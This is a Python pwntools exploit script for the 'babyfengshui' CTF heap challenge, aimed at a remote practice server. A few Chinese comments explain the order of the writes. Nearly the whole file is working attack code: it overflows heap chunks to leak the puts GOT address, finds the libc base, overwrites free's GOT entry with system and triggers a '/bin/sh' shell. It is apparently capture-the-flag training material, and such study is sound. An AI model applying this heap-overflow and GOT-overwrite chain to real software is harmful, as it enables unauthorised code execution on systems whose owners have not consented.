from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

# io  = process('./babyfengshui_33c3_2016')
io = remote('node4.buuoj.cn',26868)

elf = ELF('./babyfengshui_33c3_2016')
pause()
def debug():
    gdb.attach(io)
    pause()
# debug()
def create(size, name, length, content):
    io.recvuntil(b"Action:")
    io.sendline(b"0")
    io.recvuntil(b'size of description: ')
    io.sendline(str(size).encode())
    io.recvuntil(b"name:")
    io.sendline(name)
    io.recvuntil(b"text length:")
    io.sendline(str(length).encode())
    io.recvuntil(b"text:")
    io.sendline(content)

def update(index, size, content):
    io.recvuntil(b"Action:")
    io.sendline(b"3")
    io.recvuntil(b"index:")
    io.sendline(str(index).encode())
    io.recvuntil(b"text length:")
    io.sendline(str(size).encode())
    io.recvuntil(b"text:")
    io.sendline(content)
    pass

def delete(index):
    io.recvuntil(b"Action:")
    io.sendline(b"1")
    io.recvuntil(b"index:")
    io.sendline(str(index).encode())

def display(index):
    io.recvuntil(b"Action:")
    io.sendline(b"2")
    io.recvuntil(b"index:")
    io.sendline(str(index).encode())

# pause()
create(0x80, b"1", 0x80, b"aaaa")
# pause()
create(0x80, b"2", 0x80, b"bbbb")
# pause()
create(0x80, b"3", 0x80, b"cccc")
#pause()
io.info("creat_end.....")
# pause()
delete(0)
io.info("delete_end.....")
# pause()

create(0x100, b"aaa", 50, b"ccccc")
pause()


puts_got_addr = elf.got["puts"]
payload = flat(b"A"*0x108, 0,0x89,b"A"*0x80,0, 0x89, puts_got_addr)
# payload = flat(b"A"*0x108, 0,0x89,b"A"*0x80,0, 0x89)

update(3, 0x200, payload)

pause()
display(1)

io.recvuntil(b"description:\x20")


real_puts_addr = io.recv(4)
real_puts_addr = real_puts_addr.ljust(4, b'\x00')
real_puts_addr = u32(real_puts_addr)
print('real_puts_addr = ', hex(real_puts_addr))

libc = LibcSearcher('puts', real_puts_addr)
libc_base_addr = real_puts_addr - libc.dump('puts')
real_system_addr = libc_base_addr + libc.dump('system')
real_str_bin_sh = libc_base_addr + libc.dump('str_bin_sh')
print('real_system_addr = ', hex(real_system_addr))
print('real_str_bin_sh_addr = ', hex(real_str_bin_sh))
pause()

# update addr = /bin/sh addr
# 注意这点，为了能够利用free（"/bin/sh"） => system("/bin/sh\x00")
# 修改的是顺序，一定是先修改binsh再改free函数，不然要报错，
# 初步怀疑是free函数被替换后，底层有调用这个函数，不能正常运行
payload = flat(b"B"*0x108, 
                0,0x89,b"A"*0x80,0, 0x89,b"A"*0x80,
                0,0x89,b"A"*0x80,0,0x89, real_str_bin_sh)
update(3, 0x300, payload)
pause()
display(2)
pause()
io.recvuntil(b"description:\x20")
pause()

#update free got = system addr
free_got_addr = elf.got["free"]
payload = flat(b"A"*0x108, 0,0x89,b"A"*0x80,0, 0x89, free_got_addr)
update(3, 0x200, payload)
pause()
display(1)
io.recvuntil(b"description:\x20")
real_free_addr = io.recv(4)
real_free_addr = real_free_addr.ljust(4, b'\x00')
real_free_addr = u32(real_free_addr)
print('real_free_addr = ', hex(real_free_addr))
# 此时的description chunk的为free的got地址，所以直接更新即可
update(1, 10, p32(real_system_addr))
pause()
display(1)
io.recvuntil(b"description:\x20")
io.info("update success")
pause()

delete(2)
io.interactive()
